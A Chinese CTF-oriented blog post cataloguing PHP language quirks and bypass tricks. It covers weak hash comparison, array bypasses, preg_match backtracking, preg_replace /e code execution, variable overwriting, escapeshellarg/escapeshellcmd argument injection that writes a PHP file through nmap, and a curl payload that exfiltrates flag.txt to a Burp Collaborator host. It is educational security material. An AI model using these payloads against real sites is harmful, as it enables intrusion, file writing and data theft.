PHP特性总结
Hash比较缺陷
PHP在处理哈希字符串时,通过!=
或==
来对哈希值进行比较,它把每一个以0e
开头的哈希值都解释为0
,所以如果两个不同的密码经过哈希以后,其哈希值都是以0e
开头的,那么PHP
将会认为他们相同,都是0
example:
1 | if (isset($_GET['a']) and isset($_GET['b'])) { |
这里需要我们输入的参数a和b要不相同,但是他们的MD5要相同,这明显就是利用Hash的比较缺陷
我们只需要找出两个数MD5加密之后是以0e
开头即可,常用的有以下几种
1 | QNKCDZO ==> 0e830400451993494058024219903391 |
MD5
md5函数绕过
md5()
函数获取不到数组的值,默认数组为0
example:
1 | if (isset($_GET['a']) and isset($_GET['b'])) { |
payload:
1 | a[]=1&b[]=2 |
sha1()
函数无法处理数组类型,将报错并返回false
example:
1 | if (isset($_GET['a']) and isset($_GET['b'])) { |
payload:
1 | a[]=1&b[]=2 |
md5强类型绕过
example:
1 | if (isset($_GET['a']) and isset($_GET['b'])) { |
例如这段代码,使用数组就不可行,因为最后转为字符串进行比较,所以只能构造两个MD5值相同的不同字符串,两组经过url编码后的值:
1 | #1 |
intval函数绕过
1 | intval ( mixed $value , int $base = 10 ) : int |
value: 要转换成 integer 的数量值
base: 转化所使用的进制
- 特性一
成功时返回 value
的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
特性二
如果
base
是 0,通过检测value
的格式来决定使用的进制:- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。
example:
1 | if (isset($_GET['num'])) { |
可以利用八进制和十六进制:
1 | num=0x117c |
除此之外,这个函数还可以使用小数点来进行操作:
1 | num=4476.56 |
- 特性三
如果$base
为0
直到遇上数字或正负符号才开始做转换,在遇到非数字或字符串结束时(\0)结束转换,但前提是进行弱类型比较
example:
1 | if (isset($_GET['num'])) { |
payload:
1 | num=4476a |
preg_match函数绕过
1 | preg_match ( string $pattern , string $subject , array &$matches = null , int $flags = 0 , int $offset = 0 ) : int|false |
pattern: 要搜索的模式,字符串类型。
subject: 输入字符串。
matches: 如果提供了参数matches
,它将被填充为搜索结果。 $matches[0]
将包含完整模式匹配到的文本, $matches[1]
将包含第一个捕获子组匹配到的文本,以此类推。
/m
1 | preg_match('/^php$/im',$a) |
/m
多行匹配,但是当出现换行符 %0a
的时候,会被当做两行处理,而此时只可以匹配第 1 行,后面的行就会被忽略。
回溯绕过
这里要理解正则匹配的过程
PHP正则利用的是NFA(非确定性有限自动机)。
遇到.*
或者.+
:直接匹配字符串末尾,然后一个个回溯,与之后的模式比较
遇到.*?
或者.+?
:非贪婪模式,在匹配到符合的字符串,停止,由下一个模式匹配,下一个模式不符合,回溯,再由.*?
匹配,直到下一个模式符合
example:
1 | if (isset($_POST['f'])) { |
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit,可以通过var_dump(ini_get(‘pcre.backtrack_limit’));
的方式查看当前环境下的上限
回溯次数上限默认是100万,如果回溯次数超过了100万,preg_match返回的便不再是0或1,而是false,利用这个方法,可以写一个脚本,来使回溯次数超出pcre.backtrack_limit限制,进而绕过WAF
1 | import requests |
preg_replace /e 模式下的代码执行
1 | preg_replace ( string|array $pattern , string|array $replacement , string|array $subject , int $limit = -1 , int &$count = null ) : string|array|null |
搜索 subject
中匹配 pattern
的部分,以 replacement
进行替换。
/e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行
example:
1 | $id = $_GET['id']; |
这里使用了/e模式,输入的参数和对应的参数值分别对应于匹配的模式和用于正则匹配的字符串,这两个参数都可以通过GET方式进行控制,但是第二个参数写定了strtolower("\\1")
,那么要如何执行代码呢
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
所以这里的 \1 实际上指定的是第一个子匹配项
当我们传入:
1 | .*={${phpinfo()}} |
即 GET 方式传入的参数名为 .*
,值为 ${phpinfo()}
。
1 | 原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value); |
而由于.
属于非法的参数名,在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效,因此可以换成\S*
。
下面再说说我们为什么要匹配到 {${phpinfo()}}
或者 ${phpinfo()}
,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()}
中的 phpinfo()
会被当做变量先执行,执行后,即变成 ${1}
(phpinfo()成功执行返回true)。
in_array宽松比较
1 | in_array ( mixed $needle , array $haystack , bool $strict = false ) : bool |
大海捞针,在大海(haystack
)中搜索针( needle
),如果没有设置 strict
则使用宽松的比较。
1 | var_dump(in_array('1john',[1,2,7,9])); //bool(true) |
example:
1 | $allow = array(); |
上面的函数用循环生成了一个只有数字的数组,这里我们传入的参数n只要有数字,那么in_array()
返回的结果就为true
,就可以而绕过只有数字的限制,从而能够把<?php system('cat *.php')>
写入了1.php
中
1 | n=1.php |
然后访问1.php
就可以通过命令执行获取我们想要的内容
变量覆盖
extract函数、parse_str函数
1 | extract ( array &$array , int $flags = EXTR_OVERWRITE , string $prefix = "" ) : int |
函数使用数组键名作为变量名,使用数组键值作为变量值,当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。
example:
1 | $pass = '123'; |
POST
方法传输进来的值通过extrace()
函数处理,直接传入以POST
的方式传入pass=1&thepassword_123=1
就可以进行将原本的变量覆盖,并且使两个变量相等即可。
payload:
1 | POST:pass=1&thepassword_123=1 |
还有就是parse_str()
和extract()
两个函数如果结合起来使用,也会造成变量覆盖
1 | parse_str ( string $string , array &$result ) : void |
如果 string
是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result
则会设置到该数组里 )。
example:
1 | $key1 = '123'; |
这里禁止了通过GET或POST方法传key的值,但是有parse_str()
代码中同时含有parse_str()
和extract($_POST)
可以先将GET方法请求的解析成变量,然后再利用extract() 函数从数组中将变量导入到当前的符号表,故payload为:
1 | ?_POST[key1]=36d&_POST[key2]=36d |
$$变量覆盖
$$变量覆盖要具体结合代码来看,可能会需要借助某个参数进行传递值,也有可能使用**$GLOBALS(引用全局作用域中可用的全部变量)**来做题。
example:
1 | $flag = 'Aurora'; |
这里第一次看有点绕,先说主要思路,由于我们不知道$flag
的值,那么我们肯定会输出$error
,那么就需要想办法把$error
的值变成$flag
的值。
- 首先我们看第一个
foreach
1 | foreach ($_GET as $key => $value) { |
这里把我们GET方法传入的参数通过可变变量进行赋值,那么我们可以考虑是不是可以直接传入?error=flag
,那么在后端程序中就是把$error=$flag
,但是不允许我们传入error
名字的参数,因此要找一个中间过渡的参数。
- 接着看第二个
foreach
1 | foreach ($_POST as $key => $value) { |
这里和第一个foreach
一样,只是禁止了参数的值为flag
,也就是说同样不能通过传error=flag
,但是两个结合就可以绕过这个限制,我们设置一个中间过渡的参数test
,在GET方法传入test=flag
,在代码中相当于$test = $flag
,在POST方法中传入error=test
,在代码中相当于$error = $test
,这就能够把$flag
的值传给了$error
。
payload:
1 | ?test=flag |
通过数组绕过
ereg()函数
1 | int ereg(string pattern, string originalstring, [array regs]); |
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
- ereg()函数存在NULL截断漏洞,可以%00截断,遇到%00则默认为字符串的结束,所以可以绕过一些正则表达式的检查。
- ereg()只能处理字符串的,遇到数组做参数返回NULL。
- 空字符串的类型是
string
,NULL
的类型是NULL
,false、true
是boolean
类型
strpos()函数
1 | strpos ( string $haystack , mixed $needle , int $offset = 0 ) : int |
返回 needle
在 haystack
中首次出现的数字位置。
- strpos()函数如果传入数组,便会返回NULL
strcmp()函数
1 | strcmp ( string $str1 , string $str2 ) : int |
如果 str1
小于 str2
返回 < 0; 如果 str1
大于 str2
返回 > 0;如果两者相等,返回 0。
strcmp()
函数比较两个字符串(区分大小写),定义中是比较字符串类型的,但如果输入其他类型这个函数将发生错误,会返回NULL
example:
1 | $pass = @$_POST['pass']; |
这里通过传入数组也可以让比较结果返回NULL
,NULL
再取反为TRUE
payload:
1 | pass[]=1 |
PHP自身特性
PHP的变量名格式
example:
1 | if (isset($_POST['C_T_F']) && isset($_POST['CTF_1.2'])) { |
$_POST['CTF_1.2']
无法传入参数,这是因为PHP变量名应该只有数字字母下划线。而且GET或POST方式传进去的变量名,会自动将空格
、+
、.
、[
转换为_
payload:
1 | POST: C.T.F=1&CTF[1.2=1 |
PHP数字可与字符做运算
example:
1 | eval("return 1%phpinfo();"); |
escapeshellarg&escapeshellcmd函数绕过
escapeshellarg
1 | escapeshellarg ( string $arg ) : string |
把字符串转码为可以在 shell 命令里使用的参数。将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。
在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的,但是双引号不同 , bash 会将变量名解析成变量的值再使用。
所以即使参数用了 escapeshellarg()
函数过滤单引号,但参数在拼接命令的时候如果用了双引号的话还是会导致命令执行的漏洞。
escapeshellcmd
1 | escapeshellcmd ( string $command ) : string |
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}$\
, \x0A
和 \xFF
。 '
和 "
仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %
和 !
字符都会被空格代替。
两个函数都会对单引号进行处理,但是有区别的,如下:
对于单个单引号, escapeshellarg()
函数转义后,还会在左右各加一个单引号,但 escapeshellcmd()
函数是直接加一个转义符,对于成对的单引号, escapeshellcmd()
函数默认不转义,但 escapeshellarg()
函数转义
escapeshellarg&escapeshellcmd
那既然有这个差异,如果escapeshellcmd()
和 escapeshellarg()
一起出现会有什么问题
example:
1 | $para = "127.0.0.1' -v -d a=1"; |
结果:
分析:
- 一开始传入的参数:
1 | 127.0.0.1' -v -d a=1 |
- 由于
escapeshellarg()
先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:
1 | '127.0.0.1'\'' -v -d a=1' |
- 经过
escapeshellcmd()
针对第二步处理之后的参数中的\
以及a=1'
中的单引号进行处理转义之后的效果如下所示:
1 | '127.0.0.1'\\'' -v -d a=1\' |
- 由于第三步处理之后的payload中的
\\
被解释成了\
而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:
所以这个payload可以简化为curl 127.0.0.1\ -v -d a=1'
,即向127.0.0.1\
发起请求,POST 数据为a=1'
。
example:
1 | if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { |
代码中是先使用了escapeshellarg()
函数,再使用escapeshellcmd()
函数便会引发上面的问题,将传入的参数经过上述两个函数执行后,再用system()
函数使用nmap
命令,把参数作为主机拼接进命令里面。这里需要知道的是namp命令的-oG
参数可以将命令和结果写进文件。
payload:
1 | ?host= '<?php phpinfo();?> -oG 1.php ' |
解释:
- 首先是
escapeshellarg()
会先对host变量中的单引号进行转义,并且转义之后,在\'
的左右两边再加上单引号,变成'\''
,最后会在参数两边加上单引号:
1 | ''\''<?php phpinfo();?> -oG 1.php '\''' |
- 然后是
escapeshellcmd()
会对特定字符再加上一个\
进行转义,同时对配对的'
不会做处理:
1 | ''\\''\<\?php phpinfo\(\)\;\?\> -oG 1.php '\\''' |
- 最后拼接到
system()
函数里面是
1 | nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php phpinfo\(\)\;\?\> -oG 1.php '\\''' |
相当于:
1 | nmap -T5 -sT -Pn --host-timeout 2 -F \ <?php phpinfo();?> -oG 1.php \\ |
这样就成功把这条命令写进了文件里,再访问这个文件即可进行利用。
值得一提的是我在本地测试的时候由于www-data用户没有创建文件的权限,因此复现不了,解决方法是创建一个文件夹给予所有权限然文件在里面运行即可。
PHP精度绕过缺陷
浮点运算
在用PHP进行浮点数的运算中,经常会出现一些和预期结果不一样的值
输出的是57,而我们预想的应该是58。简单的说因为PHP 通常使用 IEEE 754 双精度格式而且由于浮点数的精度有限的原因。除此之外取整而导致的最大相对误差为 1.11e-16
,当小数小于10^-16
后,PHP对于小数就大小不分了:
1 | echo (1.0000000000001); //13位小数 输出:10000000000001 |
example:
1 | $ |
这道题是考察浮点数精度问题导致的大小比较以及函数处理问题,当小数小于10^-16
后,PHP对于小数就大小不分了
1 | var_dump(1.0000000000000001 == 1) >> TRUE |
0.9999999999999999
(17个9)经过strlen
函数会判断为1
1 | var_dump(0.99999999999999999 == 1 ); >> TRUE |
最后看一下md5函数处理后是否相同
1 | var_dump(md5(0.99999999999999999) == md5(1) ); >> TRUE |
因此当我们输入trick1=1
和trick2=0.99999999999999999
能满足题目中在弱比较中是相等的,而且md5的强比较也是相等。
PHP中类的运用
反射类ReflectionClass
首先看一下反射类的用法:
1 | class fuc { //定义一个类 |
example:
1 | highlight_file(__FILE__); |
payload:
1 | v1=1&v2=echo new ReflectionClass&v3=; |
输入一个数字和两个字符让$v0
的值为TURE,然后构造eval()
函数里面执行的命令为eval(echo new ReflectionClass('aurora');)
,执行的结果如下图:
把类里面属性和方法的名字都能够显示出来。
异常处理类Exception
先简单了解一下PHP异常处理
1 |
|
上面代码将得到类似这样一个错误:Message: 变量值必须小于等于 1
example:
1 | highlight_file(__FILE__); |
这里看似用正则把不是字母的字符串都过滤了,实际上这里的正则没写好,只要第一个字符是字母即可绕过。这里可以直接new一个Exception运行我们想要的命令就可以把内容回显出来。
payload:
1 | ?v1=Exception&v2=system('ls') |
内置类FilesystemIterator
PHP使用FilesystemIterator迭代器遍历目录
1 | $a = new FilesystemIterator('.'); |
这样会把当前文件夹里面所有的文件和目录都输出出来。
example:
1 |
|
1 | getcwd ( ) : string|false |
成功则返回当前工作目录,失败返回 **false
**。
payload:
1 | ?v1=FilesystemIterator&v2=getcwd |
会显示当前文件夹中的最后一个文件。
/proc/self/root绕过is_file函数
1 | is_file ( string $filename ) : bool |
判断给定文件名是否为一个正常的文件。
在linux中/proc/self/root
是指向根目录的,将/proc/self/root
重复一定次数就可以绕过is_file()
函数
1 | function filter($file){ |
payload:
1 | ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p |
当然这里也有其他的绕过方法:
1 | ?file=compress.zlib:///flag |
gettext&get_defined_vars函数
php的扩展gettext实现程序的国际化
_()是gettext()
函数的简写形式,能够利用这点绕过字符的限制。
example:
1 | $flag = "success!"; |
1 | call_user_func ( callable $callback , mixed $parameter = ? , mixed $... = ? ) : mixed |
第一个参数 callback
是被调用的回调函数,其余参数是回调函数的参数。
那既然变量$f1
过滤数字和字母,就可以使用该符号来代替这个函数,这样便可以绕过第一个嵌套,然后再由最外面的call_user_func()
执行命令
- 第一步
1 | call_user_func(call_user_func('_','phpinfo')) >> call_user_func(_('phpinfo')) |
- 第二步
1 | call_user_func(_('phpinfo')) >> call_user_func('phpinfo') |
- 第三步
1 | call_user_func('phpinfo') >> phpinfo() |
最后就能够把PHP的配置信息显示出来。
Linux tee命令
1 | tee [参数] [文件] |
tee
命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件
1 | tee file1 file2 //将输入的内容覆盖到这两个文件里面 |
example:
1 | function check($x){ |
由于这里使用的是exec()
函数执行命令,结果并不会回显,因此这里我们需要把想要获取的内容写入到文件里面,再访问这个文件。用黑名单过滤了>
,因此无法写入文件,过滤php
,也就无法写入一句话木马,但是可以利用tee
命令将其他命令返回的结果写入到文件中,payload:
1 | ?c=cat /flag|tee tmp |
然后访问tmp即可。
传参变量覆盖
假设有这么一段代码:
1 | $F = $_GET['F']; |
当我们传的参数是$F
本身,就会出现变量覆盖:
1 | ?F=`$F`;sleep 5 |
- 首先是经过
substr()
函数
1 | eval(substr($F, 0, 5)); >> eval(`$F`;); |
- 然后是反引号执行
1 | eval(`$F`;); >> eval(`$F`;sleep 5;); |
执行后会休眠5秒。
example:
1 | if($F = @$_GET['F']){ |
这里curl命令没有被过滤。可以借此来把文件内容外带出来。这里还要用到Burp 的Collaborator client。
payload:
1 | ?F=`$F `;curl -X POST -F test=@flag.txt 5jpx4t2xg6r9iyulvgaypqw37udk19.burpcollaborator.net |
call_user_func读取类中的函数
call_user_func函数可以调用类中的函数
1 | class myclass { |
定义一个类myclass及类方法say_hello
,call_user_func()
的输入参数变为一个数组,数组第一个元素为对象名、第二个元素为参数
example:
1 | class myclass { |
这个例子就是一个简单的利用了call_user_func()
能够调用类里面的方法,payload:
1 | ?a[0]=myclass&a[1]=getFlag |
create_function函数
1 | create_function ( string $args , string $code ) : string |
从传递的参数创建匿名函数,并为其返回一个唯一的名称。
1 | create_function('$a,$b','return 111'); |
所以那如果我们这样进行构造payload
1 | create_function('$a,$b','return 111;}phpinfo();//'); |
phpinfo()
便会被执行。
参考资料
- Post title:PHP特性总结
- Post author:John_Frod
- Create time:2021-05-12 14:50:55
- Post link:https://keep.xpoet.cn/2021/05/12/PHP特性总结/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.